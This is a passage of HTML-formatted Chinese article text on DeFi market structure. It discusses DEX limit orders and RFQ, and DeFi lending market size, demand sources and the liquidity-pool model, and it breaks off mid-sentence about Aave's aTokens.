style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">AMM 在适配链上复杂环境的同时，也带来诸多问题，如交易结果不确定、滑点、容易收到 MEV 等各类形式的攻击等等，为了减少 MEV 等影响，从网络层面到协议层面都有诸多的方案和尝试，但难以彻底。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">限价订单能够避免 AMM 这些问题，1inch、DoDo、Sushiswap 等聚合器 /DEX 推出限价订单功能，以及 Pancakeswap 通过 Gelato 实现限价订单功能，iZUMi Finance 的 iZiSwap 设计 DL-AMM 兼容 AMM 和限价订单。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">但传统的限价订单存在抢跑交易的问题，目前大部分聚合器采用中心化的限价订单方案，仍旧存在此类问题。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">其中 iZUMi 的 DL-AMM 直接实现链上订单簿，并且相比于一般 AMM 在 Gas 开销上并没有明显的提升，是目前最佳的解决方案。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外， Binance 最新上线的 Hashflow、0x 的 Matcha，以及一级市场出现不少项目，都采用 RFQ 机制，用户提出交易需求，平台通过预言机或是做市商在链下为用户提供报价，随后链上实现原子交换，不存在滑点等问题，带来交易的确定性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">但此类机制无法实现价格发现，价格发现机制完全依赖预言机等价格输入，本质上 GMX 也属于此类型。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>基于 DEX 的金融产品，交易平台流动性打包出售</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Uniswap V3 为代表的集中流动性是非常灵活的一类资产，可以用于模拟其他衍生品的效果。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">比如在目前价格下区间铺设流动性，再持有等价值的现货，可以实现对看涨期权的模拟。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">并且，传统 CEX 提供的双币理财产品，低买、高卖策略，本质也是采用一定做市策略为用户提供收益。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DEX 的 LP Token 完全能够实现一样的产品，并且提供同等水平的收益率。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这类产品本质上是将用户的资金按照一定的策略部署集中流动性 DEX 上的 LP，获取手续费收入，最后按照约定的规则结算，在满足用户特定需求的同时，实现 DEX 流动性的增长，是双赢的策略。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">iZUMi Finance 在此方面正在进行尝试，将会在不久以后推出相关理财产品。</span></section><h2 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t" style="padding-left: 2px;padding-right: 2px;"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;" data-brushtype="text">Lending</span></strong></span></section></section></section></section></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">一、 市场规模</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DeFi 借贷市场的存款量、借款量和锁仓量自 2020 年 6 月开始快速增长，在 2021 年底达到高点。后随着加密市场整体下滑，借贷规模逐渐减少。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，借贷市场规模还受到 Anchor、Celsius、BlockFi 等平台事件的影响。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">多种因素叠加，DeFi 借贷协议的存款量和取款量分别降至 355 亿美元和 138 亿美元，均较两者最高点下降 60% 左右。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">总体来看，DeFi 借贷市场在 DeFi 行业中占有 30% 以上的市场份额，与 DEX 不相上下。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">1. 存款量</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">欧科云链数据显示，DeFi 借贷市场的存款量在 2020-2021 年总体呈现持续上涨的态势，存款规模在 2021 年 12 月一度突破 900 亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此后随着加密市场走熊，存款量在今年下半年跌破 500 亿美元，2022年10 月 27 日数据显示，当前存款量为 355 亿美元，相比最高点减少超六成。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.636604774535809" data-s="300,640" style="" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=8e2229e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0ROfFxdIEm1tyOp2ztELaxxQGUtcPJUuVYykG2lxd6RoYxibN3zx4CCQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">2.借款量</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借款量呈现相似的走势。借款量的最高点出现在 2021 年的 10 月 27 日，借款量为 352 亿美元，相较半年前增长 208 亿美元，增幅为 144%。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">随着加密市场整体降温，借款量降至 150 亿美元以下。10 月 27 日数据显示，当前借款量为 138 亿美元，降至去年 4 月的水平。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6293706293706294" data-s="300,640" style="" data-type="png" data-w="1144" src="https://wechat2rss.xlab.app/img-proxy/?k=79b2125e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0iajvkt5Temrwl9adJ7vEew8TvVbuGqeLfbxER7qaJ7jd8PHJRTLJLGQ%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;text-align: justify;"> </span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">3. 锁仓量</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">锁仓量方面，借贷和 DEX 是 DeFi 锁仓量排名前两位的板块。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">欧科云链数据显示，截至 10 月 27 日，DeFi 借贷锁仓量为 224.7 亿美元，DEX 锁仓量为 237.4 亿美元，借贷以 31.75% 的市场份额略低于 DEX，排名第二。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借贷项目中，锁仓量排名前五位的分别是 Maker（77.5 亿美元）、Aave（49 亿美元）、JustLend（32.4 亿美元）、Compound（22.7 亿美元）、Venus（7.1 亿美元），前五名的协议锁仓量之和为 188.7 亿美元，占总锁仓量的 84%。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">公链竞争上看，以太坊链上借贷三巨头 Maker、Aave、Compound 的市场地位十分稳固。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跻身锁仓量前十位的借贷协议中，除以太坊外，还有来自 BNB Chain、TRON、Avalanche、Solana 等链的原生借贷协议，呈现多点开花的态势。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">4. 头部项目处于低估值阶段</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">依据 Mcap/TVL（市值/锁仓量）的指标，目前头部 DeFi 借贷项目处于低估值阶段。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以 Maker、Aave、Compound 为例，Maker 该项指标的比率为 0.117，Aave 的比率为 0.23，Compound 的比率为 0.17，三者比率远低于 1，均处于低估值阶段。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">另外从 CoinMarketCap 给出的市值来看，Maker 市值为 9 亿美元，Aave 市值为 11.8 亿美元，Compound 市值为 3.6 亿美元。在高锁仓量的情况下，只有 Aave 市值达到独角兽标准。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">5. 协议收入</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">TokenTerminal 数据显示，借贷协议中 7 天收入最高的是 Aave，收入为 139 万美元，第 2-6 位的协议收入在 20 万-50 万美元之间。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">P/F（市值/收入）方面，排名前两位的 Aave、Compound 的比率在 10 以上，说明收入相对偏低。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2984375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cc4f27f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0OQ3a4Zj18VsUbtUMW53TxicqO7uvZZk7eq3QrNNpNmvfqN7cYkxk1IQ%2F640%3Fwx_fmt%3Dpng"/></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">二、 DeFi借贷需求来源</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DeFi 借贷协议的参与者是借方和贷方，借方通过抵押或者无抵押的方式从借贷协议中借出加密资产；贷方将闲置资金存入借贷协议，收取利息作为回报。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">部分 DeFi 借贷协议中设有流动性挖矿的功能，借方和贷方都能获得代币奖励。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由此得出三个 DeFi 借贷需求来源：</span></section><ul class="list-paddingleft-1" style="list-style-type: circle;"><li style="letter-spacing: 1px;color: rgb(0, 122, 170);"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>交易需求</strong></span></section></li><li style="letter-spacing: 1px;color: rgb(0, 122, 170);"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>贷协议产生的被动收入</strong></span></section></li><li style="letter-spacing: 1px;color: rgb(0, 122, 170);"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>代币激励</strong></span></section></li></ul><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;text-decoration: underline;"><strong style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1. 交易需求</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DeFi 行业的贷款和传统金融中贷款的出发点是一样的，就是我需要支付一笔费用，但是我手上并没有足额的资金。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在传统金融当中，人们会通过抵押贷款的方式，从银行中借出资产完成交易。DeFi 行业中，借方通过抵押/无抵押方式借出加密资产，完成其交易行为。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;text-decoration: underline;"><strong>2. 借贷协议产生的被动收入</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">被动收入是指不需要花费多少时间和精力就可以自动获得的收入，在 DeFi 借贷中最典型的是贷方存入资金获得的利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">贷方将闲置资金放入借贷协议中，就可以根据存入加密资产对应的利率获得利息，也就是被动收入。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以 Aave 为例，USDT 当前的存款 APY 为 2.76%，如果贷方将 USDT 存入，当前可以按照 2.76% 的 APY 获得利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">该 APY 是浮动的，贷方的利息增幅会随着 APY 发生变化，类似于支付宝的余额宝。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1097222222222223" data-s="300,640" style="" data-type="png" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=9ab5a7d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK094E7nRZdB1c5GGwicPBY0AiaicDY3Dia29KoOF2pjh8ZeTFTz8kURl6OHA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借方可以在一段时间后将本金和利息取出后再投入，实现复利。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;text-decoration: underline;"><strong>3. 代币激励</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2020 年 6 月，DeFi 借贷协议 Compound 推出流动性挖矿，将大量用户和资金引入 DeFi。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Compound 采用代币激励的手段，用户在 Compound 上完成借贷操作即可获得其治理代币 COMP，治理代币持有者可以参与投票，兼具交易价值和治理价值。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">除了流动性挖矿，头部 DeFi 协议推出基于其原生代币的质押服务，代币持有者可质押获得更多原生代币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">代币激励是面对借贷协议所有参与者的，借方可以通过交互获得代币奖励，通过交易获得的代币，偿还一部分债务。</span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">三、DeFi 借贷协议的核心——流动性资金池</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前主流 DeFi 借贷协议采用流动性资金池模型，解决协议的流动性问题，快速撮合借贷双方的需求，借贷行为围绕流动性资金池进行。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.50390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f7ca69ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0cc0CUNKvlbP5kht78GnIreXiaRza4maUKBgaffw0pGIT2IRtsxiaWo8g%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">如图所示，贷方向流动性资金池添加资产，提升池子的流动性，借方从池子中提取流动性。协议通过流动性资金池中资金量状况调整借款和存款的利率。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DeFi 借贷协议的运行和传统银行的借贷业务比较相似，在有息贷款的协议中，借方在归还本金的同时需要向协议发送利息，这笔利息作为协议的收入。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借贷协议会按照存款的 APY 为贷方提供利息，贷方可获得稳健的收入。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以 Aave 为例，贷方向 Aave 的代币流动性池提供流动性以赚取被动收入，借方能够以超额抵押或无抵押（闪电贷）的方式借款。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 将向贷方提供生息代币 aToken 